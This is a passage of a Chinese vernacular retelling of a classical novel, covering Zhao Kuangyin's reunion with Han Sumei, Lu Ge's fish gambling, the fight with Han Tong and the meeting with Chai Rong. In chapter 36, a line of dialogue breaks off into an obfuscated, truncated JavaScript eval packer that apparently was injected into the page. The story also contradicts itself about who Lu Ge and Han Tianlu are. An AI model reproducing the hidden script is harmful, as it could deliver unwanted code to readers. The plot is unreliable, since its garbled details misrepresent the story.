说罢,郑恩气冲冲地转身就走。赵匡胤赶紧喊道:“三弟!你别走!听我跟你解释!”可郑恩头也不回,越走越远。 这可怎么办?赵匡胤看着韩素梅,又看着郑恩的背影,心里又急又无奈。欲知郑恩会不会回来,赵匡胤和韩素梅接下来会怎样,且看下回分解。 36. 第 36 章 这日午后,阳光斜斜地照在临街的小院里,郑恩攥着枣木棍,站在西厢房的窗根下,耳朵都快贴到窗纸上了。屋里传来赵匡胤和一个妇人的说话声,那妇人语气温柔,时不时还带着浅笑,郑恩心里顿时像塞进了一团乱麻,越想越不是滋味。 他跟赵匡胤拜把子这么多年,二哥常跟他说“男女授受不亲”,可眼下这光景,怎么看都像是二哥忘了规矩。郑恩越听越气,手里的枣木棍攥得咯咯响,脚底下的青石板被他踩得咚咚直响。终于,他忍不住猛地推开门,扯着嗓子嚷嚷:“二哥!你这是干啥?忘了咱们兄弟说的规矩了?要是你不认这规矩,那乐子就不跟你走了,咱们各奔前程!” 赵匡胤正跟韩素梅说着分别后的遭遇,冷不丁被郑恩闯进来打断,还听他说要分道扬镳,赶紧起身两步追上,一把抓住他的胳膊:“三弟,你别瞎闹!你仔细看看,这是你二嫂韩素梅啊!当年在大名府分开后,我找了她五六年,今天才算遇上,哪能是什么不守规矩的事?” 郑恩愣了愣,眨巴着那双雌雄眼仔细打量韩素梅——只见她穿着一身青布衣裙,头发挽成简单的发髻,眉眼间带着几分温柔,确实有几分当年二哥提起的“二嫂”的模样。他顿时闹了个大红脸,手里的劲也松了,挠了挠头嘿嘿笑:“哎呀!原来是二嫂啊!乐子……乐子刚才是急糊涂了,没看清楚,对不住对不住!”说着就弯腰作揖,可他动作太急,差点栽个趔趄,逗得韩素梅捂着嘴笑出了声。 旁边的禄哥早就乐开了花,他攥着衣角,眼睛亮晶晶的,心里直打鼓:“昨天刚认了干爹,今天就变成亲爹了?这也太造化了!以后我也有爹疼了!”他忍不住蹦出一句:“今番我造化到了!昨日我祇认个干爹,不道今日竟认个亲爹到家了!” 韩素梅瞪了他一眼,假装生气:“畜生胡讲!快进去给你爹和三叔倒茶!”禄哥吐了吐舌头,欢快地跑进厨房,心里还在盘算:“等下倒茶的时候,得给爹多放些茶叶,三叔喜欢喝浓的。” 等禄哥端着茶出来,赵匡胤接过茶碗,喝了一口才问韩素梅:“你以前说身子弱,一直没生育,这孩子是……”韩素梅叹了口气,眼神温柔地看着禄哥:“这孩子是我姐姐的儿子,八岁那年他娘没了,没人照看。我这边也冷清,就把他过继过来了。这孩子虽说年纪小,却比一般孩子机灵,还孝顺,有他在身边,我也少些孤单。” 赵匡胤摸了摸禄哥的头,心里有点发酸:“这孩子是好,可惜不是我的亲骨血。”郑恩在旁边听了,立马插嘴:“二哥你这话说的!什么亲不亲的?孩子孝顺不就完了?再说了,以后二嫂给你生个亲娃娃,禄儿还能帮着带呢!到时候两个孩子作伴,多热闹!” 韩素梅被这话羞得脸发红,赵匡胤也忍不住笑了,屋里的气氛一下子暖融融的。谁也没料到,郑恩这随口一说,后来还真应验了——韩素梅后来成了韩妃,在南清宫生下了八大王。只是因为韩妃出身不算显赫,八大王没能承袭皇位,再加上太后怕幼主继位会像五代那样被人篡权,特意下旨让太祖之后传位给弟弟匡义,这都是后话了。 歇了一会儿,禄哥突然拉着赵匡胤的袖子说:“爹,咱们住的这院子虽说小,可也有三间房,您和三叔不如把行李搬过来住?饭店里又吵,还得花不少钱,住这儿我还能给你们烧火做饭呢!” 赵匡胤一听,心里正合我意——他早就不想住饭店了,又吵又不方便,跟韩素梅和禄哥住一起,才算有家的样子。他赶紧点头:“我儿说得对!就这么办!” 郑恩却有点犹豫,他挠了挠头:“二哥你住这儿合适,你是二嫂的丈夫,可乐子是外人,住这儿不方便吧?” 赵匡胤拍了他一下:“你这叫什么话!咱们兄弟虽不是一个娘生的,可比亲兄弟还亲,分什么彼此?快跟禄儿去饭店算帐,把行李、兵器、马都拉过来!” 郑恩听他这么说,也不再推辞,跟着禄哥就出了门。路上禄哥还跟郑恩打听:“三叔,我爹以前是不是很厉害?你跟我爹谁的本事大?”郑恩一拍胸脯,得意地说:“你爹本事大!当年在董家庙,你爹一棍子就打跑了响马,还救了乐子!不过乐子也不差,我的枣木棍,一般人可扛不住!”两人说说笑笑,没一会儿就到了饭店。 算完帐,郑恩扛着行李,禄哥牵着马,还特意绕到街角的杂货铺,花八分银子买了个榆木马槽——他想着爹的马得有地方喂料,总不能让马饿着。等他们把东西都搬回小院,赵匡胤看着马槽,疑惑地问:“这马槽哪儿来的?”禄哥仰着小脸:“我在路上见有人卖,就买了回来,这样喂马方便。” 正说着,卖马槽的王二就找上门来要银子。禄哥赶紧拿出八分银子递过去,王二接过银子,叹了口气:“这马槽是我花五钱银子打的好榆木,要不是前些天柴殿下那边征马槽,说是给军用,结果衙门里的人拿了去,一分钱没给我,我也不至于折本卖!” 赵匡胤一听“柴殿下”,心里咯噔一下,赶紧追问:“兄弟,你说的柴殿下,叫什么名字?长什么样?你知道他在哪儿吗?”王二挠了挠头:“这我可不清楚。那柴殿下每次出门都坐暖轿,身边跟着好多人,前呼后拥的,老百姓只能远远看着,谁敢凑近看他长什么样?连他的名字都没人敢提,怕惹祸!客官,您也别问了,赶紧再添点银子,我还得去别处卖东西呢!” 赵匡胤知道王二是个老实人,不敢多问,就又摸出一块银子给他。等王二走了,赵匡胤皱着眉跟郑恩说:“三弟,你听见了吗?这柴殿下说不定就是柴大哥!可咱们连他的名字、模样都不知道,怎么找啊?” 郑恩满不在乎地挥挥手:“这还不简单?明天咱们去街上逛,见了坐暖轿的,就掀开车帘看看,是就是,不是再找!”赵匡胤赶紧拦住他:“你别莽撞!这地方是韩通的地盘,要是闹起来,咱们还没找到柴大哥,就先惹麻烦了,得慢慢打听。” 正说着,韩素梅已经在厨房忙活开了。她买了鸡、鱼、肉,还打了酒,没多久就把菜端上桌。赵匡胤和郑恩对坐着喝酒,虽然院子小,房子也简陋,可比起饭店的嘈杂,这里安静又温馨。郑恩喝着酒,吃着菜,忍不住感叹:“还是家里好!这菜比饭店的香多了!”两人边喝边聊,一直到月亮升得老高,才收拾碗筷,又在院子里乘了会儿凉,各自回房睡觉。 第二天一早,太阳刚出来,赵匡胤就喊禄哥:“禄儿,天热,马不能缺水,你把马牵到河边饮饮。”禄哥赶紧答应,牵着马就去了河边。回来的时候,他还特意绕到集市,买了一尾活鱼——他想着爹和三叔爱吃鱼,中午给他们做鱼吃。 路过街角的时候,禄哥突然想起前几天听人说博鱼能挣钱,心里一动:“要是我能博鱼赢点银子,就能给爹和三叔买好酒了!”他找了根柳条,把鱼穿起来,提着鱼在街边吆喝:“博鱼咯!猜字猜河,赢了给银子,输了给鱼!” 没一会儿,张屠户的儿子张小胖就跑了过来。张小胖比禄哥大两岁,平时仗着他爹是屠户,有点横:“禄哥,我跟你博!我猜字!”禄哥把八个铜钱往地上一丢,大声喊:“字!”铜钱落地,果然是字。张小胖不服气:“再来!我猜河!”禄哥又丢了一次,喊:“河!”还是中了。 张小胖输了三文钱,噘着嘴说:“你是不是耍花样了?铜钱肯定有问题!”禄哥把铜钱递给他:“你自己看,都是正经铜钱,没毛病!”张小胖翻来覆去看了半天,没看出问题,只好把钱给了禄哥,气呼呼地走了。 接下来又有几个人来博鱼,禄哥运气好,喊字是字,喊河是河,没一会儿就赢了五钱银子。他心里乐开了花,赶紧提着鱼去沽了好酒,又买了点酱菜,蹦蹦跳跳地回家。 一进门,郑恩就凑上来问:“姪儿娃娃,今天赢了多少?”禄哥把银子递过去,得意地说:“靠爹的恩,三叔的福,今日有了爹的‘喝钱神法’,遇人来博,我喝字就字,喝河就河,七八个人博我一个,都被我赢了,共有五钱银子!”赵匡胤听了,心里也高兴,觉得这孩子确实机灵。 接下来三天,禄哥每天都去博鱼,每天都能赢点银子回来,郑恩天天有好酒喝,美得不行。可到了第四天,都晌午了,还没见禄哥回来。郑恩坐在院子里,手里拿着酒壶,嘴里嘟囔:“这娃娃今天怎么回事?是不是赢太多,被人缠住了?乐子今天酒瘾上来了,等他回来可得多喝两盅!” 正说着,院门“呀”的一声被推开,禄哥低着头走了进来。他头发乱糟糟的,衣服也被扯破了,脸上还有个巴掌印,眼睛红红的,一看就是受了委屈。郑恩赶紧站起来:“娃娃,你咋了?是不是没赢钱?”禄哥不说话,只是低着头抹眼泪。 郑恩急了,嗓门也大了:“你这驴球入的娃娃!乐子问你话呢!输了就输了,有啥好哭的?男子汉大丈夫,哭哭啼啼像啥样!”禄哥被他一骂,哭得更凶了,抽抽搭搭地说:“不是……不是输了……是有人欺负我……” 赵匡胤赶紧走过来,蹲下来摸了摸禄哥的头,柔声说:“禄儿,别怕,跟爹说,谁欺负你了?爹给你出头。”禄哥抬起头,眼泪还挂在脸上:“是……是本处韩元帅的公子韩天禄……他叫我跟他博鱼,博了五十多下,一分钱不给,还把我的鱼抢了,还打了我一巴掌……他是元帅的儿子,咱们惹不起……” 郑恩一听,火一下子就上来了,抓起枣木棍就要往外冲:“这驴球入的!敢在太岁头上动土!别说他是元帅的儿子,就是皇帝老子,乐子也不怕!走,乐子跟你找他算账去!” 赵匡胤赶紧拉住他:“三弟,你先冷静!你还记得当年在野鸡林跟咱们交手的韩通吗?禄儿说韩元帅叫‘通臂猿’,说不定就是韩通!那韩通本事不小,咱们不能硬来。”郑恩愣了愣:“那驴球入的还能当元帅?”赵匡胤点头:“知人知面不知心,说不定他走了门路,当了元帅。咱们明天让禄儿还去博鱼,咱们躲在旁边,先看看韩天禄是不是真的,再想办法。” 郑恩虽然不服气,可也知道赵匡胤说得对,只好把枣木棍放下,嘴里还嘟囔:“要是真的是韩通那厮,乐子非得给他点颜色看看!” 第二天一早,三人吃过早饭,郑恩扛着枣木棍,赵匡胤揣着随身的鸾带,跟着禄哥往街上走。路过卖糖葫芦的刘大爷的摊子,赵匡胤拉着郑恩躲在摊子后面,跟刘大爷笑着说:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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韩通心里咯噔一下,当年在野鸡林,他跟郑恩交过手,知道郑恩力气大,不好惹。可他现在是元帅,要是看着儿子被打不还手,脸就丢尽了。他大喝一声:“黑贼!敢行凶!我今日正要报当年的仇,你来得正好!”说着就挥拳朝郑恩打去。 郑恩正打得高兴,没注意到韩通,眼看拳头就要打到他身上,赵匡胤赶紧把鸾带往空中一抛,那鸾带瞬间变成了一根神煞棍棒。他飞身跳到郑恩身边,大喊:“韩通休得恃强!俺来也!”说着就举棍朝韩通的肩窝打去。 韩通回头一看是赵匡胤,吓得魂都快没了——当年在大名府,他就没打过赵匡胤,现在赵匡胤的功夫看起来更厉害了。他赶紧往旁边一闪,棍棒擦着他的肩膀打在地上,震得尘土飞扬。韩通想跑,可赵匡胤哪里肯放,又横扫一棍,打在韩通的腿上。韩通“扑通”一声摔倒在地,赵匡胤赶紧按住他,举拳就打。 郑恩见赵匡胤把韩通打倒了,赶紧喊:“二哥,别让他跑了!乐子也来帮忙!”他故意松开手,让韩天禄跑了,自己跑到韩通身边,脱下一只鞋,对着韩通的脸就打,边打边骂:“你这驴球入的!当年在野鸡林就敢跟咱们作对,现在当了元帅,更嚣张了?今天不揍服你,乐子就不叫郑恩!” 韩通被打得鼻青脸肿,疼得直求饶:“赵公子,求你饶了我吧!我现在是元帅,跟当年不一样了,求你给我留点体面!” 旁边的兵丁们你看看我,我看看你,没人敢上前。他们心里都打着算盘:“元帅都求饶了,说明这两个人不好惹。要是咱们上去帮忙,打赢了还好,要是打输了,元帅说不定会怪咱们多事,到时候轻则挨揍,重则砍头,划不来!”所以任凭韩通被打,没人敢动。 就在这时,远处传来一阵马蹄声,还有人喊:“晋王千岁驾到!”韩天禄刚才跑的时候,正好看见柴荣的轿子过来,他赶紧跑过去,跪在轿前哭着喊:“千岁!救命啊!有人打我爹,再晚就出人命了!” 柴荣坐在轿里,正准备去元帅府看看韩通的操演情况,听到有人喊冤,就吩咐:“住轿!让他上来说话。”韩天禄趴在地上,哭着说:“千岁,臣是韩通的儿子韩天禄,刚才来了两个游棍,把我爹打得快不行了,求千岁做主!” 柴荣一听,生气了:“光天化日之下,竟敢殴打朝廷命官?来人!把那两个恶棍抓起来,孤要亲自审问!”御林军赶紧拿着绳索,跑到杨树下,把赵匡胤和郑恩围了起来。 一个御林军趁郑恩不注意,从后面抓住他的衣领,想把他按倒。可郑恩的力气太大了,那御林军怎么拉都拉不动,就像在撼石柱一样。郑恩正打得高兴,突然觉得衣领被人扯住,他扭过头一看,见是御林军,心里更火了:“驴球入的!敢来抓乐子?”他挥起拳头,一拳打在那御林军的头上,那御林军“唔”了一声,就倒在地上不动了。 柴荣在轿里听到动静,心里纳闷:“这人力气这么大?莫非是江湖上的好汉?”他掀开轿帘,想看看究竟。 这一看看去,柴荣会不会认出赵匡胤和郑恩?被打倒的御林军性命如何?咱们下回再说。 37. 第 37 章 话说郑恩正把韩通打得解气,拳头还带着劲没收回,就见一群御林军涌上来,伸手就要绑他。郑恩本就性子火爆,这下更是火冒三丈,张嘴就骂:“驴球入的!你们是韩通那厮的帮凶?谁敢碰乐子一根手指头试试!” 话还没说完,他那砂锅大的拳头已经抡了出去,正砸在最前面那名御林军的脑门上。只听“咚”的一声,那兵卒直挺挺倒在地上,嘴角当场就溢出血来。周围的御林军顿时炸了锅,大喊着:“不好了!这黑汉子力气大得吓人,还敢打人!”一群人握着刀枪就往上冲。 郑恩见这么多人围过来,半点不怵,把两只拳头抡得像风车似的,左一下右一下往人群里砸,嘴里还不停骂:“驴球入的!都敢来惹乐子,今儿个让你们一个个都躺这儿!”御林军哪里见过这么凶悍的人,几个冲在前头的要么被拳头擦到胳膊,要么被他一脚踹开,没一个能近得了身。众人没办法,只能围成一个圈把他困住,不敢再往前冲,只扯着嗓子喊:“黑大汉你别蛮不讲理!我们是奉柴王爷的旨意来的——有人告你行凶,把韩元帅打伤了,我们才来拿你!你现在不服管束,还敢打伤御林军,要是让王爷知道了,你这条命怕是保不住了!” 郑恩本就是个粗人,这辈子就会卖香油的营生——一葫芦半斤、两葫芦一斤,算得清油钱,却哪里懂什么国家王法、官场上的规矩?他听得不耐烦,骂道:“什么黄爷黑爷的!有本事让那驴球入的自己来,乐子倒要问问他,凭什么抓我!” 这边闹得不可开交,赵匡胤一开始还没当回事——他以为这些兵卒是韩通的手下,见郑恩把人打倒,心里还暗爽:“打得好,早该治治韩通这伙人的气焰。”可等他听清御林军喊“柴王爷”,心里顿时咯噔一下:“听说禅州来了位柴殿下,难不成就是这位?再说他们人多,真闹起来我们占不到便宜。” 他赶紧松了攥着韩通衣领的手。韩通刚才被郑恩打得头晕眼花,衣领被攥着更是喘不过气,这会儿得了空,哪里还敢停留?一骨碌爬起来,猫着腰就往人堆里钻,脚不沾地似的往帅府跑。 郑恩眼尖,见韩通跑了,急着要去追,嘴里喊:“二哥!那韩通驴球入的跑了!咱别让他溜了!” 赵匡胤赶紧拉住他,低声劝:“三弟,算了。他现在不比从前了——手下握着十万兵马,还有一堆副将帮衬,权大势重。咱们俩就两个人,势单力薄,你又把御林军打伤了,这祸已经闯不小了。趁现在他们人还没调齐,咱们赶紧走,再迟点韩通带兵马过来,咱们寡不敌众,要是被他抓住,岂不是丢了咱们闯荡江湖的名声?” 郑恩虽然还憋着气,但知道赵匡胤说得在理,只好点头:“二哥说得对,听你的!” 两人刚要抬脚走,就听见一阵马蹄声和轿子的轱辘声——柴荣的轿子到了。御林军见轿子来,赶紧分两边排开,个个挺直腰板,大气不敢出。 轿子里的柴荣掀着轿帘往外看,一眼就瞧见了赵匡胤,心里顿时一喜——当年木铃关分别后,他就一直惦记着这位义弟,没想到能在这儿遇上。他赶紧吩咐轿夫停轿,撩着衣摆快步走下来,伸手就拉住赵匡胤的胳膊,笑着问:“二弟,你们怎么在这儿闹起来了?” 赵匡胤回头一看,见是柴荣,赶紧拱手行礼,脸上堆起笑:“小弟听说禅州来了位王子,没想到竟是兄长!今日能遇上,真是上天安排的缘分,还望兄长恕小弟刚才失礼之罪。” 一旁的郑恩从没见过柴荣这副模样——穿的是绣着龙纹的锦袍,身边跟着一群兵卒,气势十足。他忍不住大嗓门喊起来:“柴大哥!好久不见啊!你以前不是推着车卖伞吗?怎么现在成王子了?哈哈!乐子这心里真快活!” 赵匡胤怕他再说错话,赶紧打断:“三弟,别乱说话!” 郑恩还没明白,挠着头说:“二哥,柴大哥成了王子,那乐子不就是王弟了吗?这有啥不能说的,多快活的事!” 柴荣听着郑恩的话,心里五味杂陈——当年在泌州,郑恩虽然粗鲁莽撞,但也确实照顾过生病的自己,只是后来郑恩不告而别,他心里始终有点疙瘩。可现在当着赵匡胤的面,又不好把不满说出来,只能压着情绪,吩咐手下:“快备两匹马来。”然后对赵匡胤说:“二弟,跟愚兄回府吧,咱们好好聊聊这些年的事。” 郑恩见柴荣没搭理自己的话,赶紧上前扯住他的袍角,急着说:“大哥,你先别走!那韩通小驴球入的,把乐子刚买的鲜鱼抢了去!你得帮咱要回来,乐子还等着用鱼下酒呢!” 柴荣本来就憋着点气,听郑恩这话,更是没好脸色,但又不好发作——毕竟是义弟。他只好敷衍道:“三弟还是这么爱吃鲜鱼?愚兄府里有的是,到了府里让厨房给你做,保准比你买的还新鲜。”说完,转身就上了轿。 赵匡胤赶紧拿起放在一旁的神煞棍棒,把鸾带系在腰上;郑恩也拎起他那根酸枣棍,两人各自上马,跟着柴荣的轿子往监军府去。 这边韩通的侄子韩天禄,本来还等着柴荣过来,好让御林军把郑恩和赵匡胤抓起来,替韩通报仇。可他亲眼看见柴荣下了轿,拉着赵匡胤的手一口一个“二弟”,吓得腿都软了——哪里还敢上前分辨?偷偷转身就往帅府跑,生怕被柴荣注意到。 那些御林军更是暗自庆幸:“幸好刚才没真跟那黑汉子拼命,不然现在胳膊上早套上枷锁了!你看那被打倒的兄弟,躺在地上没人管,这时候谁还敢提‘报仇’的事?”几个人赶紧上前,不管那兵卒还能不能动,架着他就往府外走,生怕多待一秒惹祸上身。 韩通跑回帅府后,越想越气——自己堂堂元帅,竟被两个无官无职的人打成这样。可他也清楚,赵匡胤是柴荣的义弟,柴荣现在是王爷,自己根本惹不起。别说报仇了,说不定还得去给人家赔礼。 他坐在帅府的椅子上,气得直拍桌子:“这口气我咽不下!凭什么我去给那黑汉子赔礼?” 旁边的副将李忠见他气成这样,赶紧上前劝:“元帅,您消消气。柴王爷现在是皇亲,赵匡胤又是他的义弟,咱们要是不去赔礼,柴王爷要是怪罪下来,咱们可担待不起。再说您是朝廷命官,跟他们计较,反倒显得您没度量。不如去赔个礼,就算给柴王爷面子,以后也少点麻烦。” 韩通皱着眉琢磨了半天——李忠说得在理,可让他去给郑恩那样的粗人赔礼,心里实在不服。他踱来踱去,纠结了好一会儿,最终还是咬咬牙:“罢了!就当是去给柴王爷面子!” 他赶紧回后堂洗脸,换上崭新的官服,戴上乌纱帽,又对着镜子理了理衣摆,才吩咐手下备马,往监军府去。 再说赵匡胤的远房表弟禄哥,刚才一直躲在街角,远远看着这边的动静。他本来还担心赵匡胤和郑恩会被御林军抓走,见柴荣不仅没怪罪,还请他们去府里,心里才算松了口气。他琢磨着:“肯定是好事,没什么危险了。”于是转身就往王婶家跑——王婶是赵匡胤的远房表姐,这段时间一直在百铃关住,也惦记着赵匡胤的下落。 禄哥跑到王婶家,喘着气说:“王婶!不好了……不是,是好事!俺表哥和郑大哥遇上柴王爷了!柴王爷还请他们去府里了,肯定没事!” 王婶正坐在屋里缝衣服,一听这话,赶紧放下针线:“真的?那就好!我这几天还一直担心他们呢,怕跟韩元帅起冲突。这下好了,有柴王爷照着,准没错!” 另一边,赵匡胤、郑恩跟着柴荣到了监军府门口。两人下了马,跟着柴荣往里走——穿过大堂,进了书房。书房里摆着书架,上面放着不少书,桌上还放着笔墨纸砚,看着比他们以前待过的客栈雅致多了。 三人重新见礼,各自坐下。赵匡胤先开口:“兄长,自从木铃关分别后,小弟天天惦记着您,却一直没机会见面。前几天在兴隆庄遇上三弟,我俩还说要找您呢,没想到今天就遇上了,真是太巧了!不知兄长这些年怎么能有这么大的造化,当上王子了?” 柴荣叹了口气,眼神里带着几分感慨,慢慢说:“二弟,自从当年跟你们拜盟后,愚兄一直受你们照顾。可后来咱们走散了,我跟三弟一起到了泌州,本来想做点买卖谋生,没想到……” 他顿了顿,语气里添了几分委屈:“我到泌州后就生了重病,躺在床上起不来,差点就死在那儿了。好不容易病情稍微好转,想着等身体好点就去寻你们,可三弟竟把我带来的货物全卖了,钱也都花在喝酒吃饭上了。我多说了他两句,他就发了脾气,骂了我一顿,然后不告而别,把我一个人扔在客栈里。” 说到这儿,柴荣眼圈都红了,声音有点哽咽:“那时候我身上没剩几个钱,客栈老板天天催账,我又病着,举目无亲,真觉得活不下去了。后来实在没办法,才想起去投奔姑丈——也就是现在的皇上。姑丈待我像亲儿子一样,后来汉主无道,姑丈起兵进了京城,登基做了皇帝,又因为姑母还在禅州,就派我来当监军,顺便接姑母进京。没想到能在这儿遇上你们,也算了了我一桩心愿。” 郑恩坐在一旁,听柴荣这么说,坐不住了——他脸涨得通红,对着赵匡胤喊:“二哥!你是公道人,你给评评理!那时候不是乐子不照管他——咱们过木铃关的时候,银子被贼偷了,大哥怪乐子没看好,这能怪乐子吗?他病在客栈里,乐子天天去街上找郎中,有个姓刘的郎中嫌咱们没钱,一开始不肯来,乐子好说歹说,还把自己的酸枣棍押在那儿,他才肯来瞧病!乐子每天给他煎药、递水,夜里还守在他床边,怕他发烧没人管。我花那点钱,也是因为天天要给大哥买粥买肉,总不能让他饿着吧?要是乐子不买,他早饿死了,还能活到现在当王子?” 赵匡胤听郑恩说完,点点头,又劝:“三弟,我知道你照顾大哥也花了不少心思,花钱不是你的错。可大哥是兄长,又病着,你就算有委屈,也不该不告而别——把他一个人扔在客栈,确实是你不对。” 郑恩虽然粗,但也知道赵匡胤说得在理,只好嘟囔着:“二哥说的是,乐子错了还不行吗?可他也不能只说乐子的不好,好的一点不提啊!我看他现在当了王子,就不认咱们这些患难兄弟了!二哥你在这儿陪他,乐子走了!”说完,他站起来就往外走。 柴荣赶紧起身拉住他,语气软了下来:“三弟,你别生气。愚兄今天不是要怪你,就是跟二弟说说过去的事。常言说‘钱财如粪土,仁义值千金’,咱们当年在黄土坡拜盟,说好了‘有官同做,有马同骑’,这话我记在心里,从来没忘过——怎么会不认你们这些兄弟?要是我想不认,今天就不会请你们回府了。你可别冲动,留下来,咱们兄弟好好喝酒。” 郑恩见柴荣说得诚恳,心里的气也消了大半,挠挠头说:“既然大哥这么说,乐子就不走了!” 柴荣见他留下,高兴地吩咐手下:“快备宴席,给二位贤弟接风!” 不一会儿,酒菜就端上来了——有红烧鱼、炖羊肉,还有一壶好酒。三人边喝边聊,气氛渐渐热络起来。柴荣又说:“二弟,愚兄现在虽说是王爷,但也能在皇上面前说上话。姑母现在病还没好,等她病好了,咱们一起进京,愚兄在皇上面前保举你——凭你的本事,不愁得不到富贵。” 赵匡胤赶紧拱手道谢:“多谢兄长提携!” 正说着,门外的侍从进来禀报:“王爷,韩元帅求见。” 郑恩一听见“韩元帅”三个字,当场就炸了,撸起袖子就要往外走:“那驴球入的还敢来?乐子再去打他一顿,让他知道乐子的厉害!” 柴荣赶紧拉住他,严肃地说:“三弟,使不得!韩通是朝廷的封疆大臣,你现在没有官职,按规矩不能打他。看在愚兄的面子上,以前的恩怨就算了,他今天来,估计是来赔礼的,你可别再冲动了。” 赵匡胤也皱着眉说:“韩通那厮确实该打——当年在大名府,他横行霸道,被我打了一顿;后来在平阳镇,他私自在关卡收税,欺压百姓,我又打了他一顿。今天他又抢三弟的鱼,被打也是活该。可兄长说得对,他现在是元帅,真闹起来,朝廷要是怪罪,反倒连累兄长。” 柴荣见赵匡胤明白事理,点点头:“二弟说得是。韩通虽然有错,但他常年在外打仗,立过不少功,皇上也很看重他。他今天来赔礼,就是知道错了,咱们也别太计较,以后也好相处。” 赵匡胤点点头:“既然兄长这么说,小弟听你的。” 柴荣吩咐侍从:“请韩元帅进来。” 韩通跟着侍从走进书房, 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接着,他又挪到郑恩面前,硬着头皮说:“郑兄,刚才是在下不对,还请郑兄宽容。” 郑恩本来就看韩通不顺眼,这会儿见他虚情假意的样子,更是懒得起身,只睁着眼睛说:“你既然来赔礼,乐子就不打你了——以后别再抢乐子的东西,不然下次可没这么便宜你!” 韩通被他说得满脸通红,恨不得找个地缝钻进去。柴荣见场面尴尬,赶紧打圆场:“元帅别介意,三弟性子直,说话没分寸。” 韩通哪里还敢多待,赶紧对柴荣说:“千岁,今天是三六九的大操日,臣还得去军营操演兵马,就不打扰千岁和二位公子了,臣先告辞。” 柴荣知道他是想赶紧走,也不挽留:“元帅慢走,路上小心。” 韩通低着头,几乎是逃一般地离开了监军府——出门后,他骑上马,心里又羞又愤:“今天这耻辱,我早晚要找回来!” 韩通走后,柴荣、赵匡胤和郑恩又喝了一会儿酒,直到铜壶滴漏到三鼓——窗外的月亮已经移到西边,夜色渐深。三人聊得尽兴,也累了,柴荣让人收拾了两间厢房,让赵匡胤和郑恩休息,三人约定第二天一起去禅州。 第二天一早,天刚亮,三人就起来了。梳洗完毕,用了早膳,柴荣说:“二位贤弟,姑母的病快好了,愚兄今天要回禅州,你们跟愚兄一起去——先见见姑母,等姑母病好,咱们再一起进京。” 郑恩挠着头问:“大哥,你的姑母是乐子的什么人啊?” 柴荣笑着说:“咱们是结义兄弟,我的姑母就是你的姑母啊。” 郑恩高兴地说:“那乐子见了她,也叫‘姑娘’?” 柴荣点点头,又叮嘱:“三弟,到了禅州见姑母的时候,你可得收敛点性子,别再一口一个‘乐子’了——姑母是皇亲,说话要规矩点。你看愚兄怎么称呼,你就跟着怎么称呼,准没错。” 郑恩赶紧点头:“知道了知道了,乐子……俺听你的!” 三人正准备出门,郑恩突然指着院子里的轿子说:“大哥,你这大轿子挺好,再弄一个来呗!” 柴荣愣了一下:“贤弟是不想骑马,想坐轿子?” 郑恩摆摆手:“乐子才不坐这闷轿子呢!是二嫂子要坐——二嫂子跟着咱们,总不能让她也骑马吧?” 柴荣这才知道赵匡胤还有家眷,赶紧问:“二弟,你还有家眷在百铃关?” 赵匡胤只好把事情说清楚:“兄长有所不知,小弟当年在大名府充军的时候,认识了韩素梅姑娘——她为人贤淑,小弟跟她情投意合,后来小弟军期满了,跟她分开了两年,直到前些天在百铃关才重逢,这几天一直跟她住在一起。” 柴荣听了,赶紧吩咐手下:“快备一乘小轿,去接韩姑娘过来,路上要小心,别让姑娘受了颠簸。”又让人先去禅州,收拾一处带花园的宅子,好让赵匡胤他们住。 不一会儿,韩素梅坐着轿子来了——她穿着一身浅蓝色的衣裙,手里抱着一个小包裹,禄哥也跟着来了,还帮着拎着行李。柴荣见韩素梅举止端庄,心里也替赵匡胤高兴。 一切准备妥当,柴荣坐轿,赵匡胤、郑恩骑马,韩素梅坐小轿,一行人出了百铃关,往禅州去。路上要过一条大清河——河水波光粼粼,岸边的柳树垂着枝条,偶尔有渔船划过,景色宜人。郑恩从来没见过这么美的河,时不时勒住马,指着河面问赵匡胤:“二哥,你看那船,是捕鱼的吗?”赵匡胤笑着点头,跟他解释。 傍晚时分,一行人到了禅州城。柴荣让人收拾好的宅子已经准备好了——是从前王朴大人的旧宅,后面有个大花园,里面种着牡丹、月季,还有一个小池塘,环境清幽。 柴荣送赵匡胤他们进了花园,说:“二位贤弟,韩姑娘,今天天晚了,你们先歇着,愚兄明天再来找你们,一起去帅府见姑母。” 赵匡胤拱手道谢:“兄长费心了,兄长慢走。” 柴荣上了轿,往帅府去了。赵匡胤让人把行李搬到厢房,把赤兔马拴在空房里,又赏了轿夫和侍从,让他们回去。厨房里的厨役和丫鬟也都是柴荣派来的,赶紧过来参见,问他们晚上想吃什么。 韩素梅怕麻烦,说:“简单做点粥和小菜就行,不用太复杂。” 厨役赶紧去准备。晚上,四人——赵匡胤、郑恩、韩素梅和禄哥——一起用了晚膳,各自回房休息。 第三天清晨,天刚蒙蒙亮,柴荣就来了。三人见了礼,柴荣说:“二位贤弟,韩姑娘,咱们现在就去帅府见姑母——姑母听说你们来了,也很高兴。” 韩素梅因为是女眷,按规矩不能跟他们一起去见柴娘娘,只好留在宅子里。赵匡胤、郑恩跟着柴荣,坐轿往帅府去。 到了帅府门口,柴荣叮嘱郑恩:“三弟,见了姑母,要行跪拜礼,别忘了称呼‘娘娘’,可别再乱说话了。” 郑恩心里有点紧张,但还是点头:“俺记住了,不叫‘乐子’,叫‘娘娘’。” 三人走进帅府,穿过层层院落,往柴娘娘的寝殿去。这一去,不知柴娘娘见了他们,会说些什么?欲知后事如何,且听下回分解。 38. 第 38 章 想起从前在汴梁时,三人在酒馆里义结金兰,后来赵匡胤因失手打伤人亡命江湖,郑恩也跟着四处漂泊,柴荣每次想起这事,都忍不住替他们担心。如今好了,他受周主之命来禅州接国母柴娘娘回京,正好把两位兄弟接到帅府的花园里住下,每日里能和他们说说话,心里那点眷恋的念想总算有了着落。更重要的是,他知道赵匡胤和郑恩都是有大本事的人,要是能趁这次机会把他们举荐给朝廷,不仅能让兄弟俩有个好前程,将来还能辅佐周家天下,也不算辜负了当年“同甘共苦”的盟誓。 